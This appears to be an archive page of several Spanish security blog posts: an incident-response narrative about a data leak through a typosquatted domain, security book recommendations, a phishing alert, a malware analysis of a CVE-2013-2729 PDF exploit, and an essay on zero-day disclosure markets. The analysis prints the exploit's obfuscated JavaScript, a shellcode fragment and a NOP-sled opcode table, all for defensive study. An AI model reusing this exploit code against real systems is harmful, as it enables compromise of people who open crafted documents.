En el capítulo anterior habíamos dejado la investigación en un punto candente: teníamos pendiente un análisis forense del equipo del director de marketing, ya que todo apuntaba a que podía ser la fuente de la filtración de la información.

Hablando con María, la CIO de la Empresa, tomamos la decisión de ser extremadamente cautos a la hora de hacer una imagen forense del portátil del director de marketing, ya que la paranoia campa a sus anchas por la Empresa y no es posible fiarse de nadie.

Esperamos a que salga a una reunión en otra empresa para entrar en su oficina y abalanzarnos con nuestro bloqueador de escritura de discos para obtener una copia bit a bit (las únicas válidas ya que capturan el estado del disco tal y como está, copiando tanto ficheros borrados como espacio libre del disco duro).

[Read more…]

Comienza un día nuevo en la oficina. Todos los sistemas están funcionando correctamente, el generador de cafeína está a toda máquina y los comerciales están fuera haciendo visitas. Es un momento perfecto para revisar algunos artículos de investigación, o hasta para invertir un poco de tiempo en un par de scripts en Python a los que les llevo dando vueltas un rato… hasta que suena el teléfono.

El jefe ha recibido una llamada de la CIO de una empresa del IBEX 35 (a partir de ahora, la empresa será Empresa, y la directiva María). Según sus palabras, se ha producido una fuga de datos. Una fuga muy grave. Al parecer, parte de lo que se ha filtrado es el plan estratégico de la empresa para los próximos cinco años. Información a la que tiene acceso un grupo muy reducido de personas, entre las que se encuentra el consejo de dirección de la empresa.

Como todavía no sabemos a lo que nos enfrentamos, cogemos tanto la mochila de respuesta ante incidentes como la de informática forense y nos dirigimos a la sede de la empresa en Madrid para una primera toma de contacto.

La Empresa se toma la seguridad muy en serio: registran ambas mochilas, toman fotografías de todos los dispositivos y nos dan una tarjeta de identidad que por la pinta seguro que es capaz de hacer más de lo que parece. Cámaras de seguridad en todos los pasillos, y un ambiente totalmente profesional hasta que subimos a la planta noble, donde nos reunimos con María. Está visiblemente nerviosa, y viendo su traje parece que lleva más de un día en pie.

Dentro de las fases de la respuesta ante incidentes estaríamos todavía de la detección (sabemos que hay algo, pero todavía no conocemos el alcance de lo que está sucediendo). María nos cuenta que alguien está obteniendo información confidencial de la empresa, tan reservada que solo puede venir de los más altos cargos de la empresa: el director general, el director de operaciones, el director financiero, el director de ventas… o ella misma.

Tras firmar varios acuerdos de confidencialidad especialmente virulentos, empezamos nuestro trabajo con la aproximación más simple: un inside job, el clásico empleado descontento que ha robado la información. Pero al parecer todos los directivos son fanáticamente leales a la empresa e incluso su personal administrativo es de la mayor confianza, por lo que a priori podemos descartar esta teoría (en realidad no la descartamos, solo la guardamos para más tarde).

El espionaje clásico también queda excluido: la información robada no es algo que se pueda obtener poniendo un micrófono o “pinchando” un teléfono. Ha sido extraída de un ordenador.

La Empresa también se toma muy en serio la seguridad informática: seguridad en profundidad en toda la arquitectura, varios niveles de cortafuegos, antivirus actualizados, sistemas parcheados hasta la obsesión, acceso remoto por VPN, detectores de intrusos, contraseñas robustas cambiadas cada mes, etc. Uno de esos sitios en los que nunca se esperaría que sucediera nada, pero en el que aquí estamos trabajando.

Lo primero que hacemos es recoger información, toda la que seamos capaces de recopilar para proceder a su análisis y entender qué ha podido suceder. La Empresa tiene todo bien organizado, por lo que podemos hacernos con un paquete de datos completo: logs del proxy, de la pasarela de correo, de los antivirus, eventos de servidores y de las estaciones de trabajo y hasta de la VPN. El problema es que todos esos logs, si tomamos el acumulado de los últimos tres meses (el mínimo con el que empezamos), suman 200Gb de información. Comprimida.

Cogemos tres meses porque estamos empezando a sospechar que una APT (Advanced Persistent Threat) puede estar detrás de esto. Vamos, que alguien puede haber entrado hasta la cocina en la Empresa y se esté comiendo hasta los yogures caducados. El disponer de un histórico de datos nos permite detectar patrones y descartar falsos positivos, haciendo más eficaz nuestro trabajo.

Lo primero que hacemos es realizar un filtro inicial de la información, quedándonos con los equipos tanto de los directivos como de su personal de administración (diez en total), lo que reduce los registros a un poco menos de 20Gb de datos descomprimidos. A través de una serie de scripts normalizamos e importamos la información a una base de datos que nos permita realizar búsquedas y aplicar otros scripts que tenemos desarrollados.

Las primeras comprobaciones son casi rutinarias, pero hay que realizarlas: visitas a dominios infectados, eventos de la consola de antivirus, múltiples envíos de correos a direcciones no conocidas… serían signos que nos permitirían detectar rápidamente el equipo comprometido, pudiendo aislar la infección lo antes posible.

No hay suerte esta vez, aunque en realidad no esperábamos sacar nada en claro. Este incidente huele a algo avanzado desde el primer momento. Tenemos que pasar a la segunda fase: la detección de anomalías. Todos los sistemas (incluidos sus usuarios) siguen unos patrones de comportamiento, un conjunto de acciones y conexiones que pueden ser analizados para conformar un baseline o valor de referencia.

Ese baseline puede ser obtenido de los logs recuperados para hacer emerger todo lo raro, todo lo que no encaja: las anomalías. Es un trabajo complicado, porque la creación del baseline nunca es exacta, y abundan los falsos positivos (y además, nunca sabes si los “malos” han sido tan buenos como para esconder sus acciones tan bien como para que se hagan parte del baseline).

Al final es un trabajo minucioso, costoso y metódico que tiene que hacerse con sumo cuidado y atención al detalle para no dejarse nada. Es como buscar una aguja en un pajar, pero cuando el pajar es del tamaño de un campo de fútbol y no sabes siquiera que lo que quieres encontrar es una aguja.

Menos mal que, si llevas tiempo en el negocio, puedes tomar algunos atajos. Sabiendo cómo se comportan muchas amenazas es posible realizar una serie de modelos de ataque, conociendo qué tipo de anomalías generan en un sistema. De esta forma podemos buscar por esas miguitas de pan, esos indicios que nos permitan averiguar qué es lo que está sucediendo.

La cantidad de datos no es pequeña, así que tenemos algo de tiempo mientras nuestros programas trabajan. Un poco más de cafeína, una docena de correos y dos llamadas telefónicas más tarde, tenemos un listado de unas 30 anomalías.

Casi todas son falsos positivos, pero una de ellas salta a la vista: una petición POST a un nombre de dominio muy similar a un conocido periódico de tirada nacional (a partir de ahora www.period1co.es), tan similar que tan solo han cambiado una letra por otra casi idéntica. La petición en sí es bastante anodina, pareciendo la URL a primera vista el posteo de un comentario en una noticia.

Anomalía por partida doble. En primer lugar, ¿por qué tenemos un POST sin haber tenido antes ninguna comunicación con esa página web? Dentro de una comunicación HTTP el método POST es empleado para enviar datos a una página web, pero lo lógico es que antes hayamos descargado esa web, lo que suele conllevar un cierto trasiego de peticiones GET, que aquí a priori no existen.

En segundo lugar: ¿www.period1co.es? Lo buscamos en diversas páginas de reputación online y ninguna lo marca como malicioso, pero está claro que huele a chamusquina. Nos morimos de ganas por abrirlo en un navegador, pero no sabemos si los atacantes están vigilando los logs y los ponemos sobre aviso.

Mirando el lado positivo, tenemos ya dos hilos de los que tirar: el dominio supuestamente malicioso, y la IP origen de la petición, que resulta ser la del director de marketing de la Empresa.

Ahora podemos empezar a trabajar alrededor de estos indicios, lo que en la jerga conocemos como pivotar. Lo primero es ver más ocurrencias de ese dominio malicioso en todos los logs que tenemos recogidos, sean o no anómalos. Y el segundo paso sería analizar en detalle todo el tráfico de la IP 192.168.39.134, que parece ser a todas luces el equipo infectado.

La emoción de la caza es casi como una droga, así que mi jefe y yo miramos hipnotizados la pantalla mientras las herramientas hacen su trabajo. Diez angustiosamente largos minutos más tarde, tenemos resultados jugosos. Muy jugosos.

El equipo 192.168.39.134 ha realizado en los últimos dos meses 18 conexiones POST como la anterior a la URL www.period1co.es. Todas ellas en horario laboral, con unos tamaños bastante discretos (que hacen pensar a priori que la exfiltración de datos no se ha producido por esa vía) y a subpáginas del dominio con una estructura común (que podrían ser respondidas por un único script en el servidor y que ayudarían a que las URL variaran, haciendo más complicada su detección).

Y de forma adicional, tenemos 5 conexiones más al dominio desde dicha IP:

La seguridad informática es casi siempre compleja, abarcando muchas áreas distintas y haciendo muy fácil caer en el equivalente técnico de la “letra de médico”.

Quién no ha tenido algún momento del estilo de tener a dos técnicos de seguridad y que comiencen a hablar de la “APT que explotaba un CVE del kernel de XP y que exfiltraba por HTTP usando 404 modificados, y que menos mal que el IDS lo pilló y le pusimos un deny en el firewall antes de que dropeara una nueva versión de malware del C2 ”.

Si eres técnico de seguridad seguramente estés sonriendo al leer estas líneas, pero si no lo eres probablemente no hayas entendido ni una coma. El problema es obvio: la seguridad informática es complicada, y comunicar en seguridad informática es más complicado todavía.

Y en mi opinión, la comunicación es algo en lo que deberíamos de trabajar todos los expertos en seguridad informática. Es necesaria tanto para convencer a la dirección para poder invertir tiempo y recursos en mejorarla, como para convencer a los usuarios de que la seguridad es necesaria (por su propio bien en muchos casos).

Por ello, me gustaría proponer una lista de libros, escritos por técnicos, pero en los que explica de una forma clara, sencilla y hasta amena, varios conceptos principales de la seguridad informática.

[Nota: Me temo que todos los libros están en el lenguaje de la pérfida Albión. Es lo que tienen los libros muy especializados …]

”Secrets and Lies: Digital Security in a Networked World”, Bruce Schneier – Ed Wiley

Schneier es uno de los mejores divulgadores actuales de la seguridad informática. Además de su blog de seguridad informática tiene varios libros publicados en los que trata de forma sencilla conceptos como el riesgo, la protección de sistemas, la criptografía y hasta la propia confianza base de la sociedad. Todos sus libros son interesantes pero “Secrets and lies” es el mejor. Si tu jefe solo tiene tiempo para leer un libro de seguridad, que lea éste.

”The Code book”, Simon Singh – Ed. Anchor

Si hay algún campo de la seguridad informática que es especialmente complicado es la criptografía (yo tengo la teoría de “la criptografía de clave pública solo se entiende a la tercera vez que te la explican”). Sin embargo, Singh hace un trabajo maravilloso explicando de una forma cristalina los conceptos más complicados de la criptografía, todo basado en momentos históricos y lleno de anécdotas. Una delicia de libro.

“Countdown to Zero Day: Stuxnet and the Launch of the World’s First Digital Weapon”, Kim Zetter – Ed Crown

Stuxnet es considerado por muchos como el primer acto de ciberguerra con todas las letras: intención, sofisticación y complejidad son palabras que vienen a la mente cuando pensamos en un malware que, posiblemente, haya abierto la caja de Pandora y que sin duda será estudiado en tiempos venideros. Zetter es capaz de narrar cómo fue detectado, analizado y erradicado de forma amena y casi adictiva, haciendo de la historia prácticamente un tecnothriller.

“Spam Nation: The Inside Story of Organized Cybercrime-from Global Epidemic to Your Front Door” – Brian Krebs, Ed. Sourcebooks

Krebs es posiblemente el periodista especializado en seguridad informática más famoso del mundo. Desde su blog analiza todas las noticias importantes de seguridad desde un punto de vista crítico pero claro. Su libro es una guía muy completa del cibercrimen, contando con todo lujo de detalles el submundo de los delitos informáticos desde los spammers hasta cómo se blanquea el dinero que es obtenido.

“The Art of Intrusion: The Real Stories Behind the Exploits of Hackers, Intruders and Deceivers” – Kevin Mitnick & William Simon, Ed. Wiley

Kevin Mitnick (alias “El Condor”) es uno de los hackers más conocidos de la historia, siendo especialmente famoso por su dominio de la ingeniería social (o como él lo llama, “hackear personas”). En este libro, basado en historias propias y de otros hackers de la época, cuenta cómo sobrepasar diversos sistemas de seguridad con pocos o nulos tecnicismos. Es muy interesante la aplicación del pensamiento lateral, y cómo atacan algunos problemas logrando saltarse la seguridad de formas a veces estúpidas pero muy efectivas.

“Inside cyberwarfare” – Jeffrey Carr, Ed O’Reilly

Ciberguerra, ciberespionaje, cibercrimen… Por mucho que cerremos los ojos, van a seguir estando ahí. Carr hace un listado muy completo de los problemas que podemos encontrarnos en Internet, enfocándose en las capacidades existentes de diversos países para la ciberguerra, así como en diferentes escenarios y tecnologías a emplear. Aunque Carr es analítico y claro, huyendo totalmente de intentar causar el pánico, el miedo que te entra en el cuerpo después de leerlo es … inquietante.

Hay muchos más libros “sencillos” para hablar de seguridad informática, pero estos son los que me han parecido más representativos. Y tú … ¿tienes algún libro de cabecera para enseñar seguridad informática a los no técnicos? ¡Compártelo!

Dicen que los perros viejos no aprenden trucos nuevos. Pues parece que los malos sí que son capaces de hacerlo. Desde primera hora del día de hoy nos hemos encontrado con una campaña masiva de correos maliciosos enviados desde múltiples orígenes, pero todos con un patrón común:

• Asunto con el texto “Remittance Advice for 918.97 GBP” (la cantidad varía según el correo).
• Un adjunto con el nombre BAC_XXXXXXY.xls (5-6 números y una letra).

[Read more…]

Si recordamos el último post (primera parte y segunda parte), teníamos un PDF malicioso del que queríamos extraer el shellcode. Tenemos el JavaScript pero no parece que esté completo, por lo que tenemos que seguir analizando el código.

Vamos a fijarnos en este código nativo de Adobe:

hCS(sRi(xfa.resolveNode("Image10").rawValue)); 

Si miramos la referencia de JavaScript de Adobe, la función xfa.resolve permite el acceso a objetos. Y con el método rawValue le estás pidiendo al valor tal cual en bruto de esa variable. Esto… ¿no habíamos dicho que las imágenes no servían para nada?

[Read more…]

Resumiendo el artículo anterior: tenemos un PDF malicioso que explota la vulnerabilidad CVE-2013-2729, con un código JavaScript ofuscado del que queremos extraer el dominio contra el que se conecta. ¡Manos a la obra!

Si limpiamos las 3 imágenes y el código propio del objeto PDF, el resultado es un fichero de 180 líneas de JavaScript con 4 scripts, 4 funciones y 49 variables. Lo primero que tenemos que hacer es “arreglar” el código ya que los símbolos de “<>&” están codificados como “&lt;&gt;&amp;”
respectivamente.

En segundo lugar, lo que podemos hacer para aclarar el código es dejar un solo bloque de código en JavaScript eliminando todas las etiquetas de <script></script>, con cuidado de reemplazar los nombres de los script en las variables a las que llaman.

Y para favorecer la legibilidad, podemos mover todas las funciones al principio del código (eso sí, vigilando que la reordenación no afecte a la coherencia del código). De esta forma nos quedamos con 170 líneas de “código spaguetti”:

function sRi(x) { 
var s = []; 
var z = hCS(j3); 
       z = hCS(pg); 
       var ar = hCS("[" + z + "]"); 

       for (var i = 0; i < ar.length; i ++) { 
       var j = ar[i]; 
      		if ((j >= 33) && (j <= 126) { 
     s[i] = String.fromCharCode(33 + ((j + 14) % 94)); 
               } 
               else { 
                    s[i] = String.fromCharCode(j); 
               } 
       } 
       return s.join(''); 
} 
         
function mvA8H(x){ 
        return G6G(x); 
} 

function qmE(uindex, param1, param2) { 
switch (uindex) { 
                  case 1: 
                    return pack(param1); 
                    break; 
                  case 2: 
                    return unpackAt(param1, param2); 
                    break; 
                  case 3: 
                    return packs(param1); 
                    break; 
                  case 4: 
                    return packh(param1); 
                    break; 
                  case 5: 
                    return packhs(param1); 
                    break; 
} 
} 

function DwTo(a, b, c, d){ 
var x = form2.Text10.name; 
       var y = this[a]; 
       x = x + '3'; 
       return y; 
} 

var K7r1 = ""; 
var pl27 = ""; 
var PE = [0x30,0x74,0x67,0x72,0x6E,0x63,0x65,0x67, 1, 10, 40]; 
var X0n = ""; 
var aMr = "3t3in33f3o33ha"+ "r3o3ee3a3u3es3a3e"; 
var upd = "Srg.rmCCdvlncp"; 
var upd0 = ""; 
var ii = 0; 

for (var i=0; i < aMr.length; i++) { 
if(aMr[i] == "3") 
       upd0 += upd[ii++]; 
       else 
       upd0 += aMr[i]; 
} 

var xyz1 = upd0.slice(19,23); 
var hCS = DwTo.call(xyz1,xyz1); 
var m7cZT = hCS(upd0.slice(23)); 
var p1 = "(\/[^\\/"; 

for(var q = 0; q < PE.length-3; q++) 
X0n += String.fromCharCode(PE[q]-2); 

var p2 = "(\/[\\/"; 
var j3 = "x" + X0n + p1 + "\\d]\/g,'')"; 
var pg = "z" + X0n + p2 + "]\/g,',')"; 

hCS(sRi(xfa.resolveNode("Image10").rawValue)); 

var cqTt=0x12e; 
var e5 = 200; 
var yuc6m = 0; 
var xSzh = new Array(e5); 
var CE = new Array(e5); 
var e2QBU = new Array(e5); 
var tA1lG = new Array(e5/2); 
var i; var j; 

if (yuc6m == 0){ 
var vKQ = "\u5858\u5858\u5678\u1234"; 
       var Vn1e = cqTt/2-1-(vKQ.length+2+2); 

for (i=0; i < e5; i+=1) 
            xSzh[i] = vKQ + qmE(1,i) + 
            K7r1.substring(0, Vn1e) + 
            qmE(1,i) + ""; 

       for (j=0; j < 1000; j++) 
       		for (i=e5-1; i > e5/4; i-=10) 
                     xSzh[i]=null; 
       yuc6m = 1; 
} 
 
var i; var j; 
var hZ = -1; 
var Fs = 0; 
var sD = app.viewerVersion.toFixed(3); 
var He = sD.split("."); 
var lCCR = parseInt(He[0]); 
var JTI = (He.length > 1)  ? parseInt(He[1]) : 0; 

if(He.length > 1) { 
JTI = parseInt(He[1]); 
       if(He[1].length == 1)  JTI *= 100; 
} 
else 
JTI = 0; 

var tc1 = "aNNNcNroNNrNdN3NNN2"; 
var Nvpdy = m7cZT(pl27); 
var zYo = Nvpdy[0] + qmE(1,(JTI << 16) | lCCR) + Nvpdy.substring(3); 
var lHE0 = lCCR >= 11 ? 16 : 14; 

for (i=0; i < e5; i+=1) 
if ((xSzh[i]!=null)  && (xSzh[i][0] != "\u5858")){ 
       hZ = i; 
              NS = Fs = (qmE(2,xSzh[i], lHE0) >> 16); 
              Fs = (NS - mvA8H(tc1.replace(/N/g,""))) << 16; 
              break; 
       } 

       if (hZ == -1){ 
               event.target.closeDoc(true); 
       } 

var UqO = ""; 
var h7o = 0x10101000; 
 
if (lCCR < 11) { 
for (i=0; i < 7; i+=1) 
               UqO += qmE(1,0x30303030+0x11111111); 
} 

UqO += qmE(1,h7o); 

while (UqO.length < cqTt/2) 
UqO += qmE(1,0x47474747+0x11111111); 

for (j=0; j < 10000; j++) 
xSzh[hZ-1]=xSzh[hZ]=null; 

for (i=0; i < e5; i+=1){ 
ID = "" + i; 
       CE[i] = UqO.substring(0,cqTt/2-ID.length) + ID+ ""; 
} 

var or = h7o; 
var DA = ""; 

hCS(sRi(xfa.resolveNode("Image20").rawValue)); 

Como ya comentamos, este tipo de malware suele actuar como dropper, siendo su única función explotar la vulnerabilidad y ejecutar un shellcode (que será el que se conecte a Internet y se descargue el malware real). De esta forma se aseguran de que el malware “pata negra” no esté tan al alcance de los analistas (ya contaremos en otro post la de perrerías que hacen los “malos”).

Si seguimos las fases de la respuesta ante incidentes, ya hemos realizado la detección, por lo que ahora estamos en la fase de contención. Para ello necesitamos obtener los dominios o IP a las que se va a intentar conectar el malware, que están contenidas dentro del shellcode. Resumiendo: nuestro objetivo primario es el shellcode.

Un shellcode standard suele tener un aspecto similar a este (ojo con la codificación en Unicode):

\u06eb\u0000\u0000\u05eb\uf9e8\uffff\u5aff\uc283\u8718\u8bd6\u33fe\u66c9\ue0b9\ufc01\u35ad

repetido unas cuantas veces.

Si nos fijamos en el código vemos que el creador del malware ha sido listo y no nos lo ha dejado a simple vista, por lo que tendremos que trabajar un poco para conseguirlo. Sí que puede parecer interesante esta línea de código:

var vKQ = "\u5858\u5858\u5678\u1234"; 

pero es demasiado corta para contener el shellcode. De todas formas ojeamos el código y comprobamos que aunque se genera una string en Unicode, no es algo que nos sea útil.

Si seguimos mirando cosas interesantes, encontramos estas dos líneas:

UqO += qmE(1,0x30303030+0x11111111); 
UqO += qmE(1,0x47474747+0x11111111); 

Que nos generan unos cuantos 0x41 y 0x48. ¿Y para qué sirven?.

Cuando estamos generando shellcode para crear un exploit, una parte fundamental es el NOP sled (lo que usa el exploit para colocarse en la posición de memoria deseada para “enchufar” el buffer overflow). El NOP (No Operation, no hagas nada) se representa en hexadecimal como 0x90, y tener unos cuantos seguidos en cualquier documento son garantías casi segura de que puede tener “premio”.

Sin embargo, hay otras formas de generar equivalentes al NOP a base de añadir y restar valores a los registros, como podemos ver en esta tabla:

OP Code        Hex       ASCII
inc eax        0x40        @
inc ebx        0x43        C
inc ecx        0x41        A
inc edx        0x42        B
dec eax        0x48        H
dec ebx        0x4B        K
dec ecx        0x49        I
dec edx        0x4A        J

Una buena teoría es que ahí puede estar el NOP sled. Sin embargo, nosotros queremos el shellcode, por lo que tenemos que seguir buscando.

Si examinamos las funciones, podemos ver algo curioso:

function qmE(uindex, param1, param2) { 
                switch (uindex) 
                { 
                  case 1: 
                    return pack(param1); 
                    break; 
                  case 2: 
                    return unpackAt(param1, param2); 
                    break; 
                  case 3: 
                    return packs(param1); 
                    break; 
                  case 4: 
                    return packh(param1); 
                    break; 
                  case 5: 
                    return packhs(param1); 
                    break; 
                } 
} 

La función qmE es usada en abundancia en el código, y llama a las funciones pack y unpacAt … que no están en ninguna otra parte del código. ¿Puede ser que el “malo” haya sido tan torpe de dejarse un trozo del código y que no funcione? Cosas más raras hemos visto, pero en este momento la paranoia manda y hay que seguir tirando del hilo.

En algún lado tienen que estar esas funciones de pack… y lo veremos en el siguiente post (y último, no vamos a ser como George R.R Martin en Juego de Tronos).

Como dice Toni Villalón, los malos no tienen vacaciones… así que los que trabajamos en respuesta ante incidentes tampoco. Hace unos días una de nuestras usuarias creó un ticket con un correo que le parecía malicioso (una muestra más de que la concienciación en seguridad cuesta de realizar, pero que a largo plazo termina rindiendo beneficios).

La usuaria nos mandó un fichero con extensión .msg (el resultado de “Guardar Como…” en Outlook). Para abrirlo en Ubuntu lo más sencillo es emplear el script en Perl msgconvert.pl, que nos lo convierte a MIME (un formato mucho más estándar y manejable).

El nuevo fichero nos da información muy interesante con tan solo un examen superficial:

y un adjunto denominado “Invoice_4605916.pdf”.

Suena raro, ¿verdad?. Pues vamos a extraer ese PDF del fichero en formato MIME para ver qué pinta tiene. Si repasamos un poco el estándar MIME recordaremos que el formato de codificación es base64, así que es tan sencillo como copiar el texto entero desde el principio hasta el final del adjunto (no olvidéis los símbolos “=” si los hubiera, que son el padding de base64) , pegarlo a un fichero de texto, y desde una línea de comandos ejecutar:

El resultado es un fichero PDF de 52Kb, que abierto en Ubuntu nos muestra una pantalla en blanco (Recordad: nunca abráis estos ficheros en una máquina Windows a la que le tengáis cariño, usad siempre una máquina virtual o un equipo que pueda ser formateado sin problemas). Es un buen momento para empezar a sacar la artillería pesada, por lo que llamamos a nuestro analizador de PDF favorito, peepdf, (!Thx , @EternalTodo!), en modo iterativo, ignorando los errores, e indicándole que parsee de forma laxa para detectar objetos malformados.

Damas y caballeros, tenemos premio. El CVE-2013-2729 es una vulnerabilidad de Adobe Reader en versiones anteriores a la 11.03 que aprovecha un fallo en la gestión de imágenes codificadas en el formato BMP/RLE. Es una vulnerabilidad bastante conocida por lo fácil que es encontrar PoCs por Internet y crear exploits al uso.

Estos exploits suelen ser pequeños, actuando simplemente como droppers del malware real descargándoselo de una URL, por lo que lo primordial desde el punto de vista de la respuesta ante incidentes es encontrar el dominio al que se conectan para poder bloquearlo lo antes posible.

El paso siguiente suele ser analizar el código JavaScript, que suele tener el shellcode que termina ejecutando el exploit. Sin embargo, cuando ejecutamos en peepdf el comando “js_analyze object 1“, obtenemos una parte de código JavaScript y el siguiente error:

Parece que pasa algo con el objeto. Lo mejor que podemos hacer es volcar el objeto completo y analizarlo fuera de peepdf:

El fichero resultado ocupa … ¡91.1Mb!. Definitivamente, algo huele muy mal en este PDF. Si lo abrimos con vi obtenemos la siguiente información:

• Varios trozos de código JavaScript, ofuscado a conciencia: Nombres de variables sin sentido y enrevesados, funciones anidadas, generación de variables en tiempo de código.
• Tiene 3 imágenes (que suponemos que serán las empleadas para explotar la vulnerabilidad), una de ellas de un tamaño descomunal (la causante del espacio ocupado por el fichero).
• El shellcode no aparece por ningún lado (en muchos casos suele ser una variable más del JavaScript, fácilmente localizable).

Está claro que toca remangarnos la camisa, ponernos las botas de pocero y analizar en profundidad el JavaScript… pero eso será en el siguiente post ;-)

UPDATE: Debido a que, como decía un usuario, se aprende mucho más cacharreando que leyendo, os adjuntamos el pdf malicioso objeto del análisis. Para analizarlo con la seguridad necesaria debéis seguir estos pasos:

1) Disponer de una máquina virtual Linux (insistimos, el “bicho” está vivo y si lo ejecutáis en una máquina física Windows la infectará y tendréis que reinstalar el sistema operativo. Avisados quedáis).
2) Descomprimir el .zip que está protegido por la contraseña “infected”.
3) Renombrar el fichero pdf_malicioso.SAW a pdf_malicioso.pdf.

Los delitos informáticos están de moda (y lo que les queda). Fraudes, robo de datos personales y bancarios, amenazas, pornografía infantil, blanqueo de capitales… la lista es larga, y solo limitada por la imaginación, la naturaleza humana y la legislación vigente.

Entre el aumento de los delitos, la mejora de la legislación (que hasta hace relativamente pocos años no equiparaba delitos informáticos con sus equivalentes físicos) y el excelente trabajo de las FCSE, cada día llegan a los juzgados más casos relacionados con las TIC.

Y dado que los jueces no son omniscientes, en ocasiones es necesario que recurran a terceras personas. Según la RAE, un perito se define como “persona que, poseyendo determinados conocimientos científicos, artísticos, técnicos o prácticos, informa, bajo juramento, al juzgador sobre puntos litigiosos en cuanto se relacionan con su especial saber o experiencia”.

[Read more…]

Imaginemos que Pepe es una persona con conocimientos de seguridad informática que, por simple curiosidad, se dedica a investigar en busca de posibles fallos de seguridad.

Una noche, a las 3.00AM, descubre un fallo de seguridad grave en un SO para móviles que permite al atacante hacerse con el control total del teléfono. Pepe sabe perfectamente que tiene en sus manos una vulnerabilidad gravísima, para la que hasta donde él sabe no hay solución posible, lo que se denomina un 0-day [1].

Nervioso, Pepe piensa en lo que podría hacer, y multitud de posibilidades saltan a su mente.

Podría simplemente publicarlo en su blog de seguridad bajo lo que se denomina full disclosure (revelación completa) [2], y directamente dar acceso a todo el mundo a la información para que se pudiera fabricar una solución. Esto le aseguraría ser el primero en publicarla, y ganar reconocimiento como investigador (en un mundillo en el que la reputación cuenta, y mucho).

Pero al dar la información al mismo tiempo tanto a fabricantes como a los posibles intrusos, Pepe provocaría una carrera en la que seguramente los usuarios serían los damnificados (el proceso de parchear una vulnerabilidad conlleva un proceso de control de cambios, que es por fuerza mucho más lento que el desarrollo de un exploit que solo necesita aprovecharse de la misma).

Otra opción sería ponerse en contacto con el fabricante del SO e informarle del fallo de seguridad bajo lo que se llama responsibledisclosure (revelación responsable) [3], dándole tiempo para que pueda preparar el parche que la resuelva antes de su publicación. De esta forma Pepe seguiría llevándose el mérito, pero no pondría en peligro a los usuarios al disponer de la solución al mismo tiempo de su publicación.

Puede suceder que el fabricante ignore a Pepe (ya sea por falta de canales de comunicación eficaces, o por política de la empresa). En este caso Pepe podría acudir a un CERT como el del INTECO [4], que se encargaría de contactar con la empresa (y así le daría una cierta cobertura a Pepe en el caso de tener luego problemas)… o pasar a la opción anterior y revelar directamente la información en Internet.

En el caso en el que Pepe estuviera más interesado en una ganancia económica más que de prestigio (que la fama no paga la conexión a Internet), tendría también varias opciones.

Lo primero que podría hacer Pepe es comprobar si el fabricante ofrece algún tipo de programa de bug bounty (caza de fallos) [5], en los que el fabricante ofrece recompensas por encontrar fallos de seguridad que pueden ir desde camisetas exclusivas hasta dinero contante y sonante. Esta opción es interesante porque en casi todos los programas hay un “Hall of fame”, que permitiría a Pepe a su vez ganar reconocimiento por haber encontrado el fallo.

El problema de esta opción es que casi siempre los fabricantes pagan poco. Muy poco. Si Pepe lo que quiere realmente es el dinero (y su ética personal es lo suficientemente laxa), tiene otras alternativas mucho más ventajosas.

Pepe podría llevar su fallo de seguridad a sitios como ZDI (Zero Day Initiative) [6], que ofrecen recompensas por fallos de seguridad bajo el modelo de responsibledisclosure. Estas empresas luego ofrecen servicios de alerta temprana (Pepe sabe que pocas empresas dan algo gratis), pero al final la vulnerabilidad se soluciona, y Pepe tiene más dinero en el bolsillo (y sobre todo, estas iniciativas son una buena opción en caso de que el fabricante no tenga un bug bounty en activo).

Pero donde está el dinero de verdad es en la venta privada: Pepe podría vender su 0-day a empresas especializadas en la compra de vulnerabilidades, pero que en lugar de publicar la información la guardan y crean exploits que pueden vender de forma privada. Algunas de estas empresas como Vupen [7] tienen una política estricta de ventas (en principio solo a países “buenos”), aunque no se sabe dónde pueden acabar ni para qué pueden ser usados. Por tener tienen hasta listas de precios [8].

El tema es que el precio es bueno. Muy bueno. Se rumorea que se ha llegado a pagar hasta 250K$ por un 0-day muy similar al suyo, que puede ser fácilmente diez veces más de lo que el fabricante o iniciativas como ZDI podrían pagar. Eso sí, Pepe no puede decirle nunca a nadie lo que ha hecho, por la cuenta que le trae (es lo que tiene trabajar con empresas que trabajan con gobiernos que tienen agencias de tres letras).

Podría ser que Pepe no estuviera interesado en ser “fichado” por estas empresas (nunca se sabe las vueltas que da la vida). En ese caso podría acudir a algún bróker de vulnerabilidades [9], que por una módica comisión se encargaría de hacer de intermediario con las empresas pertinentes y le ayudaría a mantener su preciado anonimato.

Pero estos bróker no crecen debajo de las piedras (y no son especialmente accesibles). Y Pepe quiere el dinero. La última opción que le queda es venderlo en el mercado negro [10], en el que hay multitud de lugares en los que venderlo. Y en algunos de ellos le pueden pagar en preciosas e irrastreables BitCoins. Y si Pepe tiene muy pocos escrúpulos, no creo que tenga muchos problemas en venderlo en varios lugares a la vez…

Estas son las opciones que Pepe baraja en su mente a las 3.00AM mientras toma su décimo café del día…

Si pasamos de la ficción a la realidad, el problema existente está bastante claro: Los incentivos económicos son mucho más atractivos que el mero reconocimiento, e incluso los programas que mezclan ambos aspectos se quedan cortos en la parte económica.

Esta oferta viene dada por la existencia de una demanda por parte de algunos gobiernos (principalmente de aquellas partes destinadas a la obtención de inteligencia), que en mi opinión han valorado erróneamente la naturaleza de doble filo de una vulnerabilidad. Si bien el estar en posesión de una vulnerabilidad nos permite poder usarla para atacar otros sistemas, nuestros propios sistemas también siguen siendo vulnerables a dichos ataques.

Y si se realiza una evaluación de la cantidad de sistemas y del valor de la información contenida en los mismos en mi opinión se tiene más que perder guardando que publicando…

Ante esta elección subscribo totalmente la opinión de Bruce Scheneier [11]: Todo el proceso de la investigación sobre vulnerabilidades debería estar enfocado a la mejora de la seguridad de los sistemas, el objetivo inicial para el que fue creado.

Para ello es obligatorio reencauzar el (bastante torcido hoy) proceso, ofreciendo una serie de incentivos tanto monetarios como de reconocimiento que conviertan el hecho de hacer pública una vulnerabilidad sea siempre más atractivo que venderla.

¿Qué nos haría falta?. Una idea sería crear algo similar a BugCrowd, un servicio de creación de bug bounties que gestiona búsquedas de vulnerabilidades, y dotándolo de procedimientos de responsibledisclosure.

Esta organización debería de ser internacional, completamente imparcial y financiada tanto por gobiernos como por las compañías de tecnología. Su principal objetivo: mejorar la seguridad de todos los elementos que componen Internet para todo el mundo, independientemente de qué país o sistema sea empleado. A vista de pájaro, un posible candidato para liderar esta iniciativa podría ser el IAB (Internet Architecture Board) [13], que tiene una distribución de miembros suficientemente variada como para compensar los diversos intereses existentes.

